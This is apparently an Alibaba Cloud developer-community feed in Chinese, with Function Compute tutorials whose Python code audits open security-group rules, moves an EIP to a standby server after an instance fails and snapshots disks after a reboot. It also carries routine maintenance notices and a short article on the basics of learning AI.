        from aliyunsdkecs.request.v20140526.DescribeSecurityGroupAttributeRequest import DescribeSecurityGroupAttributeRequest
        from aliyunsdkcore.auth.credentials import StsTokenCredential
        LOGGER = logging.getLogger()
        clt = None
        # 需要检查的ecs列表, 修改成你的ecs id 列表
        ECS_INST_IDS = ["i-uf6h07zdscdg9g55zkxx", "i-uf6bwkxfxh847a1e2xxx"]
        def handler(event, context):
          creds = context.credentials
          global clt
          sts_token_credential = StsTokenCredential(creds.access_key_id, creds.access_key_secret, creds.security_token)
          # this demo ecs and function in same region, if not in same region, you need change region_id to your ecs instance's region_id
          clt = client.AcsClient(region_id=context.region, credential=sts_token_credential)
          invalid_perssions = {}
          for ecs_id in ECS_INST_IDS:
            ret = check_and_modify_security_rule(ecs_id)
            if ret:
              invalid_perssions[ecs_id] = ret
          return invalid_perssions
        def check_and_modify_security_rule(instance_id):
          LOGGER.info("check_and_modify_security_rule, instance_id  is %s ", instance_id)
          request = DescribeInstancesRequest()
          request.set_InstanceIds(json.dumps([instance_id]))
          response = _send_request(request)
          SecurityGroupIds = []
          if response is not None:
            instance_list = response.get('Instances', {}).get('Instance')
            for item in instance_list:
              SecurityGroupIds = item.get('SecurityGroupIds', {}).get("SecurityGroupId", [])
              break
          if not SecurityGroupIds:
            LOGGER.error("ecs {} do not have SecurityGroupIds".format(instance_id))
            return 
          
          invalid_perssions = []
          
          for sg_id in SecurityGroupIds:
            request = DescribeSecurityGroupAttributeRequest()
            request.set_SecurityGroupId(sg_id)
            response = _send_request(request)
            LOGGER.info("Find a securityGroup id {}".format(sg_id))
            permissions = response.get("Permissions", {}).get("Permission",[])
            if not permissions:
              continue
            for permission in permissions:
              if permission["Direction"] == "ingress" and permission["SourceCidrIp"] == "0.0.0.0/0":
                LOGGER.error("ecs {0} , SecurityGroup id {1}, have a risk, need fix; permission = {2}".format(instance_id, sg_id, permission))
                invalid_perssions.append(permission)
                
          return invalid_perssions
        # send open api request
        def _send_request(request):
            request.set_accept_format('json')
            try:
                response_str = clt.do_action_with_exception(request)
                LOGGER.debug(response_str)
                response_detail = json.loads(response_str)
                return response_detail
            except Exception as e:
                LOGGER.error(e)

        “ 阿里巴巴云原生微信公众号(ID:Alicloudnative)关注微服务、Serverless、容器、Service Mesh等技术领域、聚焦云原生流行技术趋势、云原生大规模的落地实践,做最懂云原生开发者的技术公众号。”

        ]]>
        函数计算自动化运维实战2 -- 事件触发eip自动转移 Fri, 02 May 2025 09:39:04 +0800 函数计算

        阿里云函数计算是一个事件驱动的全托管计算服务。通过函数计算,您无需管理服务器等基础设施,只需编写代码并上传。函数计算会为您准备好计算资源,以弹性、可靠的方式运行您的代码,并提供日志查询,性能监控,报警等功能。借助于函数计算,您可以快速构建任何类型的应用和服务,无需管理和运维。更棒的是,您只需要为代码实际运行消耗的资源付费,而代码未运行则不产生费用。

        云监控

        阿里云云监控为云上用户提供开箱即用的企业级开放型一站式监控解决方案。涵盖IT设施基础监控,外网网络质量拨测监控,基于事件、自定义指标、日志的业务监控。为您全方位提供更高效、更全面、更省钱的监控服务。
        云监控提供了丰富事件,并且事件还在不断丰富中(云产品系统事件监控), 丰富的事件触发自定义处理的函数,可以实现更加完美的的自动化运维。

        专题传送门 => 函数计算进行自动化运维专题

        示例场景

        假设两台ECS机器A, B, A 机器出现了宕机,这个时候需要把A机器上的eip迁移到备用机器B上,这个利用云监控的报警和函数计算可以实现EIP的自动迁移, 云监控检测到A宕机这个事件,然后触发函数执行,函数实现eip的自动迁移

        操作步骤

        注:记得给函数的service的role设置操作ecs和eip的权限
        1

        2

        3

        4

        • mock调试

        5

        6

        7

        代码

        # -*- coding: utf-8 -*-
        import logging
        import json, random, string, time
        from aliyunsdkcore import client
        from aliyunsdkvpc.request.v20160428.AssociateEipAddressRequest import AssociateEipAddressRequest
        from aliyunsdkvpc.request.v20160428.UnassociateEipAddressRequest import UnassociateEipAddressRequest
        from aliyunsdkvpc.request.v20160428.DescribeEipAddressesRequest import DescribeEipAddressesRequest
        from aliyunsdkcore.auth.credentials import StsTokenCredential
        LOGGER = logging.getLogger()
        clt = None
        def handler(event, context):
          creds = context.credentials
          sts_token_credential = StsTokenCredential(creds.access_key_id, creds.access_key_secret, creds.security_token)
          '''
          {
            "product": "ECS",
            "content": {
                "executeFinishTime": "2018-06-08T01:25:37Z",
                "executeStartTime": "2018-06-08T01:23:37Z",
                "ecsInstanceName": "timewarp",
                "eventId": "e-t4nhcpqcu8fqushpn3mm",
                "eventType": "InstanceFailure.Reboot",
                "ecsInstanceId": "i-bp18l0uopocfc98xxxx" 
            },
            "resourceId": "acs:ecs:cn-hangzhou:123456789:instance/i-bp18l0uopocfc98xxxx",
            "level": "CRITICAL",
            "instanceName": "instanceName",
            "status": "Executing",
            "name": "Instance:SystemFailure.Reboot:Executing", 
            "regionId": "cn-hangzhou"
          }
          '''
          evt = json.loads(event)
          content = evt.get("content");
          ecsInstanceId = content.get("ecsInstanceId");
          regionId = evt.get("regionId");
          
          global clt
          clt = client.AcsClient(region_id=regionId, credential=sts_token_credential)
          
          name = evt.get("name");
          eipId = "eip-bp1nexxxc7zjfnex6i0";
          standbyEcsId = "i-bp19yycxx7yroukxpv"
          name = name.lower()
          
          if name in ['Disk:Stalled:Executing'.lower(), 'Instance:SystemFailure.Reboot:Executing'.lower(), "Instance:InstanceFailure.Reboot:Executing".lower()]:
            print("move eip to standbyEcs");
            move_eip(ecsInstanceId, standbyEcsId, eipId) # move eip to standbyEcs
          else:
            # other event to do 
            pass
          
        def getEipStatus(eip):
          request = DescribeEipAddressesRequest()
          request.set_AllocationId(eip)
          request.add_query_param("RegionId", "cn-hangzhou")
          response = _send_request(request)
          if isinstance(response, dict) and "RequestId" in response:
            EipAddresses = response.get('EipAddresses', {})
            EipAddress = EipAddresses['EipAddress'][0]
            status = EipAddress['Status']
            return status
          else:
            LOGGER.error("getEipAddressDesc {} fail".format(eip))
        def unAssociateEip(ecs_id, eip):
          request = UnassociateEipAddressRequest()
          request.set_AllocationId(eip)
          request.set_InstanceType('EcsInstance')
          request.set_InstanceId(ecs_id)
          response = _send_request(request)
          if isinstance(response, dict) and "RequestId" in response:
            LOGGER.info("UnassociateEipAddress {} from {} succ".format(ecs_id, eip))
          else:
            LOGGER.error("UnassociateEipAddress {} from {} fail".format(ecs_id, eip))
        def associateEip(ecs_id, eip):
          associte_request = AssociateEipAddressRequest()
          associte_request.set_AllocationId(eip)
          associte_request.set_InstanceType('EcsInstance')
          associte_request.set_InstanceId(ecs_id)
          associte_response = _send_request(associte_request)
          if isinstance(associte_response, dict) and "RequestId" in associte_response:
            LOGGER.info("AssociateEipAddress {} to {} succ".format(eip, ecs_id))
            return True
          return False
        def move_eip(from_ecs, to_ecs, eip):
          unAssociateEip(from_ecs, eip)
          # wait unAssociateEip ...
          time.sleep(3)
          # retry 30s util sucess
          for i in xrange(10):
            eip_status = getEipStatus(eip).lower()
            if eip_status == 'available':
              if associateEip(to_ecs, eip):
                LOGGER.info("AssociateEipAddress {} to {} succ".format(eip, to_ecs))
                return
            else:
              LOGGER.info("eip status = {}".format(eip_status))
              time.sleep(3)
          LOGGER.info("AssociateEipAddress {} to {} fail".format(eip, to_ecs))
        # send open api request
        def _send_request(request):
            request.set_accept_format('json')
            try:
                response_str = clt.do_action_with_exception(request)
                LOGGER.info(response_str)
                response_detail = json.loads(response_str)
                return response_detail
            except Exception as e:
                LOGGER.error(e)

        “ 阿里巴巴云原生微信公众号(ID:Alicloudnative)关注微服务、Serverless、容器、Service Mesh等技术领域、聚焦云原生流行技术趋势、云原生大规模的落地实践,做最懂云原生开发者的技术公众号。”

        ]]>
        函数计算自动化运维实战3 -- 事件触发自动创建快照 Fri, 02 May 2025 09:39:04 +0800 函数计算

        阿里云函数计算是一个事件驱动的全托管计算服务。通过函数计算,您无需管理服务器等基础设施,只需编写代码并上传。函数计算会为您准备好计算资源,以弹性、可靠的方式运行您的代码,并提供日志查询,性能监控,报警等功能。借助于函数计算,您可以快速构建任何类型的应用和服务,无需管理和运维。更棒的是,您只需要为代码实际运行消耗的资源付费,而代码未运行则不产生费用。

        云监控

        阿里云云监控为云上用户提供开箱即用的企业级开放型一站式监控解决方案。涵盖IT设施基础监控,外网网络质量拨测监控,基于事件、自定义指标、日志的业务监控。为您全方位提供更高效、更全面、更省钱的监控服务。
        云监控提供了丰富事件,并且事件还在不断丰富中(云产品系统事件监控), 丰富的事件触发自定义处理的函数,可以实现更加完美的的自动化运维。

        专题传送门 => 函数计算进行自动化运维专题

        示例场景

        在本文中,重点关注函数计算对ecs的重启事件处理,因为这些ecs重启事件是目前用户需要很高优先级用户优先级去响应的;假设之前一台ecs 发生因系统错误而重启,用户可能会紧急起来做一些验证或者创建快照的处理, 在本示例中,我们对一台因为系统错误实例重启或者因实例错误而重启的机器进行自动化处理,比如成功重启后创建快照处理。

        ecs 系统事件
        1

        云产品系统事件监控
        2

        操作步骤

        注:记得给函数的service的role设置操作ecs的权限

        3

        • 登录云监控控制台, 创建报警规则, 监控的事件为ecs 因实例错误或西戎错误重启开始和结束
          4

        5
        6

        • mock调试
          7

        8

        9

        代码

        # -*- coding: utf-8 -*-
        import logging
        import json, random, string, time
        from aliyunsdkcore import client
        from aliyunsdkecs.request.v20140526.DeleteSnapshotRequest import DeleteSnapshotRequest
        from aliyunsdkecs.request.v20140526.CreateSnapshotRequest import CreateSnapshotRequest
        from aliyunsdkecs.request.v20140526.DescribeDisksRequest import DescribeDisksRequest
        from aliyunsdkcore.auth.credentials import StsTokenCredential
        LOGGER = logging.getLogger()
        clt = None
        def handler(event, context):
          creds = context.credentials
          sts_token_credential = StsTokenCredential(creds.access_key_id, creds.access_key_secret, creds.security_token)
          '''
          {
            "product": "ECS",
            "content": {
                "executeFinishTime": "2018-06-08T01:25:37Z",
                "executeStartTime": "2018-06-08T01:23:37Z",
                "ecsInstanceName": "timewarp",
                "eventId": "e-t4nhcpqcu8fqushpn3mm",
                "eventType": "InstanceFailure.Reboot",
                "ecsInstanceId": "i-bp18l0uopocfc98xxxx" 
            },
            "resourceId": "acs:ecs:cn-hangzhou:123456789:instance/i-bp18l0uopocfc98xxxx",
            "level": "CRITICAL",
            "instanceName": "instanceName",
            "status": "Executing",
            "name": "Instance:SystemFailure.Reboot:Executing", 
            "regionId": "cn-hangzhou"
          }
          '''
          evt = json.loads(event)
          content = evt.get("content");
          ecsInstanceId = content.get("ecsInstanceId");
          regionId = evt.get("regionId");
          global clt
          clt = client.AcsClient(region_id=regionId, credential=sts_token_credential)
          name = evt.get("name");
          name = name.lower()
          if name in ['Instance:SystemFailure.Reboot:Executing'.lower(), "Instance:InstanceFailure.Reboot:Executing".lower()]:
            pass
            # do other things
          
          if name in ['Instance:SystemFailure.Reboot:Executed'.lower(), "Instance:InstanceFailure.Reboot:Executed".lower()]:
            request = DescribeDisksRequest()
            request.add_query_param("RegionId", "cn-shenzhen")
            request.set_InstanceId(ecsInstanceId)
            response = _send_request(request)
            disks = response.get('Disks').get('Disk', [])
            for disk in disks:
              diskId = disk["DiskId"]
              SnapshotId = create_ecs_snap_by_id(diskId)
              LOGGER.info("Create ecs snap sucess, ecs id = %s , disk id = %s ", ecsInstanceId, diskId)
            
        def create_ecs_snap_by_id(disk_id):
            LOGGER.info("Create ecs snap, disk id is %s ", disk_id)
            request = CreateSnapshotRequest()
            request.set_DiskId(disk_id)
            request.set_SnapshotName("reboot_" + ''.join(random.choice(string.ascii_lowercase) for _ in range(6)))
            response = _send_request(request)
            return response.get("SnapshotId")
        # send open api request
        def _send_request(request):
            request.set_accept_format('json')
            try:
                response_str = clt.do_action_with_exception(request)
                LOGGER.info(response_str)
                response_detail = json.loads(response_str)
                return response_detail
            except Exception as e:
                LOGGER.error(e)

        “ 阿里巴巴云原生微信公众号(ID:Alicloudnative)关注微服务、Serverless、容器、Service Mesh等技术领域、聚焦云原生流行技术趋势、云原生大规模的落地实践,做最懂云原生开发者的技术公众号。”

        ]]>
        【升级】12月17日DDoS高防(国际)系统升级通知(更新) Fri, 02 May 2025 09:39:04 +0800

        【阿里云】【DDos高防】【升级通知】

        升级窗口:(已更新)北京时间 2019年12月17日 00:00-04:00

        升级内容:DDoS高防(国际)新加坡机房进行系统升级操作
        升级影响:升级期间,业务无影响,极端情况下部分IP需要重新连接,会导致TCP连接闪断1-2次。闪断对短连接和具备自动重连的长连接业务基本无影响,请确保您在业务上做好重连重试机制,以增强业务的容错能力。

        给您带来的不便敬请谅解,有任何问题,可随时通过工单或服务电话95187联系反馈。

        ]]>
        【升级】12月3日MMX注册局系统维护通知 Fri, 02 May 2025 09:39:04 +0800

        【阿里云】【域名】【注册局维护通知】

        维护时间:北京时间2019年12月3日 14:00 - 16:00

        维护内容:接到注册局的通知,注册局将于上述时间对后台系统进行维护升级。

        维护影响:届时 .Vip/.Work/.Beer/.Luxe/.Fit/.Yoga 域名的注册、续费、信息修改和查询域名注册信息等操作,将会无法使用,在此期间会造成的影响如下:

        1、提交的注册(购买)、续费、转入、赎回、一口价域名业务在支付费用后状态为“处理中”,待维护结束后将变为正常的“成功”状态;

        2、维护过程中无法对域名注册信息进行修改,将提示修改失败。

        如果您需要注册或管理以上业务操作,建议您避开该时间段,以免给您的业务造成影响。

        由此给您带来的不便,我们表示歉意,敬请谅解。

        ]]>
        【升级】 12月8日.COM/.NET注册局系统维护通知 Fri, 02 May 2025 09:39:04 +0800

        【阿里云】【域名】【注册局维护通知】

        维护时间:北京时间2019年12月8日 09:00 - 13:00

        维护内容:接到注册局的通知,注册局将于上述时间对后台系统进行维护升级。

        维护影响:届时 .com/.net 域名的注册、续费、信息修改和查询域名注册信息等操作,将会无法使用,在此期间会对您造成的影响如下:

        1、您提交的注册(购买)、续费、转入、赎回、一口价域名业务在支付费用后状态为“处理中”,待维护结束后将变为正常的“成功”状态;

        2、维护过程中您无法对域名注册信息进行修改,将提示修改失败。

        如果您需要注册或管理以上业务操作,建议您避开该时间段,以免给您的业务造成影响。

        由此给您带来的不便,我们表示歉意,敬请谅解。

        ]]>
        【升级】12月消息队列AMQP升级计划通知 Fri, 02 May 2025 09:39:04 +0800

        【阿里云】【消息队列AMQP】【升级通知】

        升级窗口:

        北京时间2019年12月3日 00:00 - 06:00

        北京时间2019年12月5日 00:00 - 06:00

        北京时间2019年12月10日 00:00 - 06:00

        北京时间2019年12月12日 00:00 - 06:00

        北京时间2019年12月17日 00:00 - 06:00

        北京时间2019年12月19日 00:00 - 06:00

        北京时间2019年12月24日 00:00 - 06:00

        北京时间2019年12月26日 00:00 - 06:00

        北京时间2019年12月31日 00:00 - 06:00

        升级内容:华北1(青岛)、华北2(北京)、华东1(杭州)、华东2(上海)、华南1(深圳)等地域的消息队列AMQP服务升级。

        升级影响:升级期间消息队列AMQP相关服务及控制台访问可能会出现闪断或者拒绝连接现象,每次闪断或拒绝连接不会超过1分钟,请在客户端中做好重连重试机制。如需在控制台进行管理操作,请避开维护时间段。

        给您带来的不便敬请谅解,有任何问题,可随时通过工单或服务电话95187联系反馈。

        ]]>
        【升级】12月消息服务MNS升级计划通知 Fri, 02 May 2025 09:39:04 +0800

        【阿里云】【消息服务MNS】【升级通知】

        升级窗口:

        北京时间2019年12月19日 00:00 - 06:00

        北京时间2019年12月26日 00:00 - 06:00

        升级内容:华北1(青岛)、华北2(北京)、华北3(张家口)、华北5(呼和浩特)、华东1(杭州)、华东2(上海)、华南1(深圳)、华东2金融云、华南1金融云、华北2政务云、香港、亚太东南1(新加坡)、亚太东南2(悉尼)、亚太东南5(雅加达)、亚太南部1(孟买)、中东东部1(迪拜)、欧洲中部1(法兰克福)、美国东部1(弗吉尼亚)、美国西部1(硅谷)、英国(伦敦)等地域的消息服务升级。
        升级影响:升级期间MNS相关服务及控制台访问可能会出现闪断或者拒绝连接现象,每次闪断或拒绝连接不会超过1分钟,请在客户端中做好重连重试机制。如需在控制台进行管理操作,请避开维护时间段。

        给您带来的不便敬请谅解,有任何问题,可随时通过工单或服务电话95187联系反馈。

        ]]>
        【升级】12月6日DDoS高防(旧版)系统升级通知 Fri, 02 May 2025 09:39:04 +0800

        【阿里云】【DDos高防(旧版)】【升级通知】

        升级窗口:北京时间 2019年12月6日 01:00 - 07:00

        升级内容:DDoS高防(旧版)武汉电信机房进行系统升级操作
        升级影响:升级期间,业务无影响,极端情况下部分IP需要重新连接,会导致TCP连接闪断2-4次。闪断对短连接和具备自动重连的长连接业务基本无影响,请确保您在业务上做好重连重试机制,以增强业务的容错能力。

        给您带来的不便敬请谅解,有任何问题,可随时通过工单或服务电话95187联系反馈。

        ]]>
        【升级】11月消息队列AMQP升级计划通知 Fri, 02 May 2025 09:39:04 +0800

        【阿里云】【消息队列AMQP】【升级通知】

        升级窗口:

        北京时间2019年11月14日 00:00 - 06:00

        北京时间2019年11月19日 00:00 - 06:00

        北京时间2019年11月21日 00:00 - 06:00

        北京时间2019年11月26日 00:00 - 06:00

        北京时间2019年11月28日 00:00 - 06:00

        升级内容:华北1(青岛)、华北2(北京)、华东1(杭州)、华东2(上海)、华南1(深圳)等地域的消息队列AMQP服务升级。

        升级影响:升级期间消息队列AMQP相关服务及控制台访问可能会出现闪断或者拒绝连接现象,每次闪断或拒绝连接不会超过1分钟,请在客户端中做好重连重试机制。如需在控制台进行管理操作,请避开维护时间段。

        给您带来的不便敬请谅解,有任何问题,可随时通过工单或服务电话95187联系反馈。

        ]]>
        【升级】11月消息服务MNS升级计划通知 Fri, 02 May 2025 09:39:04 +0800

        【阿里云】【消息服务MNS】【升级通知】

        升级窗口:

        北京时间2019年11月14日 00:00 - 06:00

        北京时间2019年11月21日 00:00 - 06:00

        北京时间2019年11月28日 00:00 - 06:00

        升级内容:华北1(青岛)、华北2(北京)、华北3(张家口)、华北5(呼和浩特)、华东1(杭州)、华东2(上海)、华南1(深圳)、华东2金融云、华南1金融云、华北2政务云、香港、亚太东南1(新加坡)、亚太东南2(悉尼)、亚太东南5(雅加达)、亚太南部1(孟买)、中东东部1(迪拜)、欧洲中部1(法兰克福)、美国东部1(弗吉尼亚)、美国西部1(硅谷)、英国(伦敦)等地域的消息服务升级。
        升级影响:升级期间MNS相关服务及控制台访问可能会出现闪断或者拒绝连接现象,每次闪断或拒绝连接不会超过1分钟,请在客户端中做好重连重试机制。如需在控制台进行管理操作,请避开维护时间段。

        给您带来的不便敬请谅解,有任何问题,可随时通过工单或服务电话95187联系反馈。

        ]]>
        【升级】11月26日MMX注册局系统维护通知 Fri, 02 May 2025 09:39:04 +0800

        【阿里云】【域名】【注册局维护通知】

        维护时间:北京时间2019年11月26日 14:00 - 16:00

        维护内容:接到注册局的通知,注册局将于上述时间对后台系统进行维护升级。

        维护影响:届时 .Vip/.Work/.Beer/.Luxe/.Fit/.Yoga 域名的注册、续费、信息修改和查询域名注册信息等操作,将会无法使用,在此期间会对您造成的影响如下:

        1、您提交的注册(购买)、续费、转入、赎回、一口价域名业务在支付费用后状态为“处理中”,待维护结束后将变为正常的“成功”状态;

        2、维护过程中您无法对域名注册信息进行修改,将提示修改失败。

        如果您需要注册或管理以上业务操作,建议您避开该时间段,以免给您的业务造成影响。

        由此给您带来的不便,我们表示歉意,敬请谅解。

        ]]>
        【升级】11月14日国际高防升级通知 Fri, 02 May 2025 09:39:04 +0800

        【阿里云】【DDos高防】【升级通知】

        升级窗口:北京时间2019年11月14日 12:00 - 18:00

        升级内容:国际高防美西机房进行系统升级操作
        升级影响:升级期间,业务无影响,极端情况下部分强安全校验的IP需要重新认证,会导致TCP连接闪断1-2次。闪断对短连接和具备自动重连的长连接业务基本无影响,请确保您在业务上做好重连重试机制,以增强业务的容错能力。

        给您带来的不便敬请谅解,有任何问题,可随时通过工单或服务电话95187联系反馈。

        ]]>
        【升级】Datahub华东1(杭州)替换nginx过期证书通知 Fri, 02 May 2025 09:39:04 +0800

        【阿里云】【Datahub】【升级通知】

         升级时间:北京时间2019年11月21日 10:00 - 15:00

         升级地域:华东1(杭州)

         升级内容:华东1(杭州)的对外提供两种访问方式包括http和更加安全的https访问,目前支持https安全协议的ssl证书将于2019年12月11日失效,届时将不能通过https协议来访问服务,故需要提前做ssl过期的证书替换,以免影响用户正常使用,替换后新的证书有效期截止为2020年11月4日。

        ]]>
        【其他】11月18号CDN和全站加速流量包降价通知 Fri, 02 May 2025 09:39:04 +0800

        【阿里云】【CDN】【降价通知】

        降价时间:2019年11月18号  10:00

        降价说明:基于阿里云CDN亚太区域流量降价,进一步对流量包进行相应调整,回馈客户并分享CDN规模和技术不断升级带来的红利。本次降价覆盖区域和规格:本次降价包括亚太1区-AP1、亚太2区-AP2和亚太3区-AP3,对应100GB、500GB、1TB、5TB、10TB、50TB。其他区域暂无调整。具体调整如下:

        规格/区域

        亚太1

        亚太2

        亚太3

        调整前(CNY)

        调整后(CNY)

        调整前(CNY)

        调整后(CNY)

        调整前(CNY)

        调整后(CNY)

        100GB

        75

        55

        85

        75

        85

        65

        500GB

        330

        245

        350

        330

        350

        290

        1TB

        640

        475

        680

        635

        680

        560

        5TB

        2960

        2200

        3185

        2930

        3185

        2600

        10TB

        5900

        4400

        6360

        5860

        6360

        5210

        50TB

        28720

        21420

        30900

        28530

        30900

        25360

        更多信息>> 

        若有其他问题,请提交工单或拨打售前服务电话95187,谢谢!

        ]]>
        【升级】11月21日DDoS高防(国际)系统升级通知(更新) Fri, 02 May 2025 09:39:04 +0800

        【阿里云】【DDos高防】【升级通知】

        升级窗口:北京时间 2019年11月21日 15:00~19:00

        升级内容:(已更新)DDoS高防(国际)美东机房进行系统升级操作
        升级影响:升级期间,业务无影响,极端情况下部分IP需要重新连接,会导致TCP连接闪断1-2次。闪断对短连接和具备自动重连的长连接业务基本无影响,请确保您在业务上做好重连重试机制,以增强业务的容错能力。

        给您带来的不便敬请谅解,有任何问题,可随时通过工单或服务电话95187联系反馈。

        ]]>
        【升级】11月28日NAT网关产品升级通知 Fri, 02 May 2025 09:39:04 +0800

        【阿里云】【网络】【升级通知】

        升级窗口:北京时间2019年11月28日 00:30 - 07:30

        升级内容:华北3(张家口)地域可用区B的NAT网络设备。

        升级影响:升级过程中,上述地域的NAT网关产品的SNAT会话连接将会出现三到四次断开重连。

        给您带来的不便敬请谅解,有任何问题,可随时通过工单或服务电话95187联系反馈。

        ]]>
        【升级】11月30日至12月1日EMAS移动测试服务运维通知 Fri, 02 May 2025 09:39:04 +0800

        【阿里云】【EMAS移动测试】【升级通知】

        升级窗口:北京时间2019年11月30日 00:00 - 12月1日 23:59:59

        升级内容:为了保障移动测试服务持续稳定运行,将对测试平台进行运维。

        升级影响:升级期间,服务整体不可用。

        给您带来的不便敬请谅解,有任何问题,可随时通过工单或服务电话95187联系反馈。

        ]]>
        【升级】11月28日云解析DNS系统升级通知 Fri, 02 May 2025 09:39:04 +0800

        【阿里云】【云解析DNS】【升级通知】
        升级窗口:北京时间 2019年11月28日 22:00 - 24:00
        升级内容:云解析DNS计划于上述时间段进行内部系统升级。

        升级影响:升级期间,通过云解析DNS控制台或者OpenAPI进行DNS解析时,可能会发生短暂失败现象,但是不影响线上DNS的实际解析结果。请用户日常操作尽量避开升级时间窗口。

        给您带来的不便敬请谅解,有任何问题,可随时通过工单或服务电话95187联系反馈。

        ]]>
        【升级】11月28日新BGP高防系统升级通知 Fri, 02 May 2025 09:39:04 +0800

        【阿里云】【DDos高防】【升级通知】

        升级窗口:北京时间2019年11月28日 06:00 - 09:00
        升级内容:云盾新BGP高防机房进行系统升级操作。
        升级影响:升级后新BGP高防线路将新增回源网段,具体网段信息如下所示。

        新BGP高防线路新增回源网段信息:

        47.113.25.0/24

        该回源网段只在进行机房异地容灾时使用。如果您当前正在使用新BGP高防线路并且在服务器侧有相关针对源IP的访问控制策略,请及时更新白名单放行上述两个回源网段,避免进行机房异地容灾时误拦截造成业务影响。升级期间,业务无影响,极端情况下部分强安全校验的IP需要重新认证,会导致TCP连接闪断2-4次。闪断对短连接和具备自动重连的长连接业务基本无影响,请确保您在业务上做好重连重试机制,以增强业务的容错能力。
        给您带来的不便敬请谅解,有任何问题,可随时通过工单或服务电话95187联系反馈。

        ]]>
        【升级】11月28日DDoS高防(国际)系统升级通知 Fri, 02 May 2025 09:39:04 +0800

        【阿里云】【DDos高防】【升级通知】

        升级窗口:北京时间 2019年11月28日 10:00-14:00

        升级内容:DDoS高防(国际)德国机房进行系统升级操作
        升级影响:升级期间,业务无影响,极端情况下部分IP需要重新连接,会导致TCP连接闪断1-2次。闪断对短连接和具备自动重连的长连接业务基本无影响,请确保您在业务上做好重连重试机制,以增强业务的容错能力。

        给您带来的不便敬请谅解,有任何问题,可随时通过工单或服务电话95187联系反馈。

        ]]>
        【升级】12月4日DDoS高防(国际)系统升级通知 Fri, 02 May 2025 09:39:04 +0800

        【阿里云】【DDos高防】【升级通知】

        升级窗口:北京时间 2019年12月4日 00:00-04:00

        升级内容:DDoS高防(国际)新加坡机房进行系统升级操作
        升级影响:升级期间,业务无影响,极端情况下部分IP需要重新连接,会导致TCP连接闪断1-2次。闪断对短连接和具备自动重连的长连接业务基本无影响,请确保您在业务上做好重连重试机制,以增强业务的容错能力。

        给您带来的不便敬请谅解,有任何问题,可随时通过工单或服务电话95187联系反馈。

        ]]>
        TOP互联网公司都在用,为什么SRE比传统运维更抢手? | 开发者必读(112期)-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800

        最炫的技术新知、最热门的大咖公开课、最有趣的开发者活动、最实用的工具干货,就在《开发者必读》!

        每日集成开发者社区精品内容,你身边的技术资讯管家。


        每日头条

        TOP互联网公司都在用,为什么SRE比传统运维更抢手?

        双11的完美收官,2684亿的销售奇迹及顺滑极致的客户体验让双11背后的技术再次被推到风头浪尖。而双11技术热点话题,不得不提集团核心系统100%上云这一技术创举。作为集团上云的底座产品,ECS承担了集团上云基础设施的重任,对如何保障集团上云的极致稳定性及性能需求,弹性计算管控团队做了长期的探索与实践,竹涧作为SRE参与了这场“革命”,接下来他将分享ECS管控SRE在落地稳定性体系建设中的探索及背后的思考。


        最强干货

        干货 | 五个给机器学习和数据科学入门者的学习建议

        两年前,我开始在网上自学机器学习,并且通过 YouTube 和博客分享了我的学习过程。我并不知道我在做什么,在决定开始学习机器学习之前我从没写过代码。

        当人们发现我的作品,他们通常会私信并提问。我不一定知道所有的答案,但我会尽量回复。人们最常问的问题是:「该从哪开始?」,其次是:「我需要多少数学基础?」今天早上我就回答了一堆这样的问题。

        有人告诉我他已经开始学习 Python 并打算学习机器学习了,但不知道下一步该做什么。

        天猫双11冒出5大新职业,成热门跳槽岗

        “上班就是看秀”,“带薪出游吃遍全球”,“工作就是群里聊天”……今年天猫双11,有一群看似不务正业的人火了。

        AI芯片持久战:是好故事,但不是好生意?

        2016年,第一代AI芯片开始爆发,传统芯片厂商、算法公司、互联网巨头鱼贯涌入;如今,三年过后,“商业落地”进入兑现期。
        但“落地”的过程,显然比芯片研发本身更具挑战,这既是对第一代架构设计的试金石,又需要庞大的软件开发和客户支持的力量。


        每天读本书

        电子书开放下载!这应该是最全的一份目标检测算法&模型盘点

        从简单的图像分类到3D姿势识别,计算机视觉从来不缺乏有趣的问题和挑战。通过肉眼我们可以检测出一张宠物照中的猫和狗,可以识别出梵高作品《星夜》中的星星和月亮,那如何通过算法赋予机器“看”的智能,就是我们接下来要讲的。

        本文首先会介绍目标检测的概念,然后介绍一种简化了的目标检测问题——定位 + 分类以及它存在的问题,最后由浅入深逐步进入到目标检测常用的模型及方法,如 Faster R-CNN、SSD 等。这个过程中 会涉及很多细节的概念和知识点,具体的技术讲解请下载下方电子书详阅。


        精品公开课

        阿里文娱双11猫晚技术专场

        详解双11猫晚的核心技术,从覆盖200多个国家的国际化与智能运维系统、超大规模实时跨屏互动技术、双11大屏爆款硬件的核心技术、到猫晚背后的英雄—质量保障体系……带大家一睹为快!


        每日集成开发者社区精品内容,请持续关注开发者必读

        ]]>
        学习人工智能必须攻克三道门槛:数学基础、英语水平与编程技术-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 基于人工智能的发展优势,很多小伙伴都想要在这个领域大展宏图,但摆在面前的三道门槛是需要你逐一攻克的。下面,给大家具体分析一下人工智能入门的三道门槛。

        门槛一:数学基础

        我们应该了解过,无论对于大数据还是对于人工智能而言,其实核心就是数据,通过整理数据、分析数据来实现的,所以数学成为了人工智能入门的必修课程!数学基础知识蕴含着处理智能问题的基本思想与方法,也是理解复杂算法的必备要素。今天的种种人工智能技术归根到底都建立在数学模型之上,要了解人工智能,首先要掌握必备的数学基础知识,具体来说包括:

        1、线性代数:如何将研究对象形式化?

        事实上,线性代数不仅仅是人工智能的基础,更是现代数学和以现代数学作为主要分析方法的众多学科的基础。从量子力学到图像处理都离不开向量和矩阵的使用。而在向量和矩阵背后,线性代数的核心意义在于提供了⼀种看待世界的抽象视角:万事万物都可以被抽象成某些特征的组合,并在由预置规则定义的框架之下以静态和动态的方式加以观察。

        着重于抽象概念的解释而非具体的数学公式来看,线性代数要点如下:线性代数的本质在于将具体事物抽象为数学对象,并描述其静态和动态的特性;向量的实质是 n 维线性空间中的静止点;线性变换描述了向量或者作为参考系的坐标系的变化,可以用矩阵表示;矩阵的特征值和特征向量描述了变化的速度与方向。

        总之,线性代数之于人工智能如同加法之于高等数学,是一个基础的工具集。

        2、概率论:如何描述统计规律?

        除了线性代数之外,概率论也是人工智能研究中必备的数学基础。随着连接主义学派的兴起,概率统计已经取代了数理逻辑,成为人工智能研究的主流工具。在数据爆炸式增长和计算力指数化增强的今天,概率论已经在机器学习中扮演了核心角色。

